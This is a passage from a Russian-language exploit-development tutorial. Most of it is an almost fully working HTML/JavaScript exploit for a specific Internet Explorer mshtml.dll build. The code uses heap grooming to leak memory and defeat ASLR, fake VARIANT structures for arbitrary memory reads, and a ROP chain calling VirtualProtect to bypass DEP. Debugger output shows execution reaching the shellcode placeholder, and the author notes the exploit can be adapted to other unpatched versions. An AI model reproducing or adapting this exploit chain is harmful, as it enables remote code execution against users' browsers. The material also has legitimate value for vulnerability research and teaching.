Если вы хотите управлять потоком выполнения после раскрытия памяти и обхода ASLR, то существует простой способ, когда вы устанавливаете в вариантный атрибут тип VT_DISPATCH (0×09). После этого oleaut32 вызовет ExtractValueProperty, когда вы попытаетесь снова считать атрибут. Эта функция содержит вызов виртуальной функции, который берется из поддельного атрибута (регистр eax).

Рисунок 5: Использование поддельного атрибута в регистре eax

Ну вот, теперь настало время преобразовать все наши рассуждения в рабочий код. Ниже представлен (почти) полностью рабочий эксплоит, созданный для mshtml версии 9.0.8112.16446, kernel32 версии 6.1.7601.17651 и ntdll версии 6.1.7601.17725.

Поскольку вы можете раскрывать память, то можно модифицировать этот эксплоит и для других версий модулей до тех пор, пока mshtml.dll не будет пропатчена от этой уязвимости.

<!doctype html>
<HTML>
<head>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

function setinput() {
try { document.write('Timber'); } catch(e) {}

// I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
d = document.createElement('area');
d.shape = "poly"
// Our BString pointer is located at: 0x12010020 + 0x8
// We want to INCrement 0x12010020 + 0x8 + 1 to add 0x100 and not 0x1
// The code does: inc dword ptr [esi+0A0h] so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
d.coords =
"1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,
29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
d2 = document.createElement('area');
d2.shape = "poly"
d2.coords =
"1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,
30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

a = document.createElement("div");
a.clearAttributes()

//Step 1
for(i = 0; i < 0x7ffe; i++) {
a.setAttribute("attr" + i, null);
}
mem = new Array(400);
// Step 2
for(i = 0; i < mem.length; i++) {
mem[i] = a.cloneNode(1);
}

bodies = new Array()
// Step 3
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe; i += 0x1000) {
// Step 3.1
mem[j].setAttribute("attr" + i,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA");
// Step 3.2
b = document.createElement('body');
b.title = 'a';
b.id = 'a';
b.text = 'a'
b.bgColor = 1
b.topMargin = 1
b.bottomMargin = 1
b.leftMargin = 1
b.rightMargin = 4
b.setAttribute('extra', bodies.length) // This will actualy give us the index of the body element we are leaking.
bodies.push(b);
}
}
// Saving the attributes so Garbage Collection wont kill them accidentally
document.body.setAttribute('mem', mem)
document.body.setAttribute('bodies', bodies)
return true
}

function loaded() {
document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
// Step 4
document.getElementsByTagName('input')[0].focus();

Found = false
// Step 6
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe ; i += 0x1000) {
//Step 7
if(mem[j].getAttribute("attr" + i).length != 0x45) {
Found = true
data = mem[j].getAttribute("attr" + i)
//Step 9
LeakInfo = "Size of the attribute is = " + data.length + "\n";
LeakInfo += "Raw data: \n"
LeakInfo += escape(data) + "\n\n";
mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "\n";
bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
VariantAnchor = document.createElement('a');

bodies[bodyindex].setAttribute('extra', VariantAnchor);

data = mem[j].getAttribute("attr" + i)
VariantAnchorAddress = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000

LeakInfo += "\nHeap Address of the Anchor = 0x" + VariantAnchorAddress.toString(16);
alert(LeakInfo);

//Adding more attributes frees the 0x90 allocation since it now needs 0xD0 memory.
bodies[bodyindex].setAttribute('beGone', 1);

FakeLFH = document.createElement('area'); // to replace the now freed 0x90
FakeLFH.shape = "poly"
// Values set to contain a 'correct' LFH header at the right location
FakeLFH.coords = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34";

//To keep the number of allocation between adding our misaligned address to the cache and re-using it we will do as much as possible at this point.
AlteredBody = document.createElement('body');
AlteredBody.title = 'a';
AlteredBody.id = 'a';
AlteredBody.text = 'a'
AlteredBody.topMargin = 1
AlteredBody.bottomMargin = 1
AlteredBody.rightMargin = 1
// We have 6 attributes, adding any more will make it jump to a 0x90 sized allocation

//Get the address of our 'A' element as a string value, specifically offset 0x50 of the 'A' which contains the .coords values
VariantAnchorAddressStr = String.fromCharCode((VariantAnchorAddress+0x50) % 0x10000, (VariantAnchorAddress+0x50) / 0x10000);

//this will be: random + VariantType + 'extra' HashNo + Value + random + enough data
//If you are smart you actually add the correct LFH Header between this and the next allocation you are actually overwriting.
newdata = "AA" + "\u0C01\u8000" + data.charAt(12) + data.charAt(13) + VariantAnchorAddressStr +
"\u4242\u4242AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";


//Allocating some small strings will re-use the potential cache leaving some room for our misaligned address to fit into the cache as well.
//This is not the perfect way but it will suffice for this demo
NumCached = 6;
for(k = 0; k < NumCached; k++) {

FakeLFH.setAttribute("cache" + k, new Array(0x40/2).join("A"));
}

//Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager
mem[j].setAttribute("attr" + i, null)

// This will make the 0x90 allocation available again
FakeLFH.coords = null;

//now we occupy a 0x90 sized allocation.
AlteredBody.leftMargin = 2;
AlteredBody.setAttribute('extra', 1);

// create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.
for(k = 0; k < NumCached; k++) {
FakeLFH.setAttribute("re-use" + k, newdata);
}

//Start reading memory.
mshtmlBase = getModuleBase(VariantAnchor, AlteredBody, mshtmlAddress)
kernel32 = getImportedModule(VariantAnchor, AlteredBody, mshtmlBase, "kernel32.dll");
ntdll = getImportedModule(VariantAnchor, AlteredBody, kernel32, "ntdll.dll");

alert("mshtml base at 0x" + mshtmlBase.toString(16) + "
\nkernel32 base at 0x" + kernel32.toString(16) + "\nntdll base at 0x" + ntdll.toString(16));

//Time to bypass DEP with the information we learned.
//ROP chain goes here, stack pivot at offset 0x18. mov ecx, [eax]; call [ecx+0x18];
//Annoying thing is that we cant just do 'xchg eax, esp ; retn' because we need the value of ecx to be at [eax]
//I couldnt find a realy clean way to mov ecx into esp. so the end result is somewhat dirty but effective. See below.
//We like to know the heap address of the ROP chain before we create the ROP chain so it can containing its own address
//There are only a few ways to allocate memory that you can actually alter without causeing the allocation to be freed and recreated (this happens with almost all strings)
//Using the image data will work.
ctx = document.createElement('canvas').getContext('2d');
img = ctx.createImageData(0x100, 1); //that should be enough for now
VariantAnchor.setAttribute('ropchain', img)

//grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)
roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)
roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)
alert("Location of ROP Chain = 0x" + roploc.toString(16));

//Setting up the ROP chain
createRopChain(img, roploc, kernel32, ntdll);

//Using a VariantType 0x09 Dispatch will trigger a call [ecx+18] with ECX taken from our fake variant data.
VariantAnchor.coords = 0x00010009 + "," + 1 + "," + roploc + "," + 1;
AlteredBody.getAttribute('extra')();

}
if(Found) break; //prevent crash from overwritten string size
}
if(Found) break; //prevent crash from overwritten string size
}
}

function getModuleBase(a, f, b) {
//look for word value MZ at every 0x10000 byte downwards
b = b & 0xFFFF0000
d = readWord(a, f, b)
while(d != 0x5a4d) {
b -= 0x10000;
d = readWord(a, f, b)
}
return b;
}

function getImportedModule(a, f, base, modName) {
//some shortcuts taken here, but MS modules all behave nicely when it comes to PE headers so should be fine for those modules.
e_lfanew = readWord(a, f, base + 0x3C)
importTable = readDword(a, f, base + e_lfanew + 0x80)
var i = 0;
while(i < 10) { //only parsing 10 imported modules, change this if you need something more exotic
//read up on PE File headers if you wonder whats going on here.
moduleNameAddr = readDword(a, f, base + importTable + (i * 0x14) + 0xC)
moduleName = readString(a, f, base + moduleNameAddr);
moduleName = moduleName.toLowerCase();
if(moduleName == modName.toLowerCase()) {
importRVA = readDword(a, f, base + importTable + (i * 0x14) + 0x10);
SomeFunctionAddr = readDword(a, f, base + importRVA);
ModBase = getModuleBase(a, f, SomeFunctionAddr)
return ModBase
}
i += 1;
}
return;
}

function readDword(a, f, addr) {
//Variant type 0x13 with 0x4000 being 'ByRef'
//Setting up the fake Variant values
//XXXX4013 YYYYYYYY DATAPTR YYYYYYYY
a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
return parseInt(f.getAttribute('extra'));
}

function readWord(a, f, addr) {
//Variant type 0x12 with 0x4000 being 'ByRef'
a.coords = 0x00014012 + "," + 1 + "," + addr + "," + 1;
return parseInt(f.getAttribute('extra'));
}

function readString(a, f, addr) {
// For some reason we cant convert an 0x1F variant type to type 0x8 (used in javascript) so we will just read it as UI4 and convert from there.
done = false
result = '';
while(!done) {
a.coords = 0x00014013 + "," + 1 + "," + addr + "," + 1;
val = parseInt(f.getAttribute('extra'));
//should give us 4 bytes.
for(i = 0; i < 4; i++) {
bytecode = (val >> (i * 8)) & 0xFF;
if(bytecode == 0) {
done = true;
break;
}
else {
result += String.fromCharCode(bytecode);
}
}
addr += 4;
}
return result;
}

function createRopChain(imgd, address, kernel32, ntdll) {
data = imgd.data;
writeDword(imgd, 0, address - 0x14) // mov ecx, [eax] //this frustrates our stack pivot slightly. Or we should pivot on ECX
// control comes through call [ecx+0x18]
writeDword(imgd, 0x4, ntdll + 0x550C8);// xchg eax,esp ; add [eax],eax ; pop edi ; pop esi ; pop ebp ; retn 0x0C
writeDword(imgd, 0xC, kernel32 + 0x110c8); // VirtusalProtect (you should look this up in the export table, not use hard coded stuff.
Same goes for pivot.)
writeDword(imgd, 0x1C, address + 0x30); // retn address after VirtualProtect
writeDword(imgd, 0x20, address); // address parameter for VirtualProtect
writeDword(imgd, 0x24, 0x4000); // size parameter
writeDword(imgd, 0x28, 0x40); // RWX protect
writeDword(imgd, 0x2c, address + 0x8); // Can safely write here
writeDword(imgd, 0x30, 0xCCCCCCCC); // Shellcode ...
}

function writeDword(imgd, offset, value) {
data = imgd.data;
data[offset + 0] = value & 0xFF
data[offset + 1] = value >> 8 & 0xFF
data[offset + 2] = value >> 16 & 0xFF
data[offset + 3] = value >> 24 & 0xFF
}


</script>
</head>
<body onload="loaded();">
<input value="mydata" type="text"></input>
</body>
</html>

После запуска получаем следующее сообщение:

(914.1f4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=446f0000 edx=0275e148 esi=772350c8 edi=161b985c
eip=161b98a0 esp=161b98a0 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
161b98a0 cc int 3
1:020> !address esp
Usage: Heap
Base Address: 161b9000
End Address: 161be000
Region Size: 00005000
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 16160000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap 0x160000
More info: heap segment
More info: heap entry containing the address: !heap -x 0x161b98a0

Мы закончили! При помощи инкремента одного байта памяти мы захватили весь процесс!

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться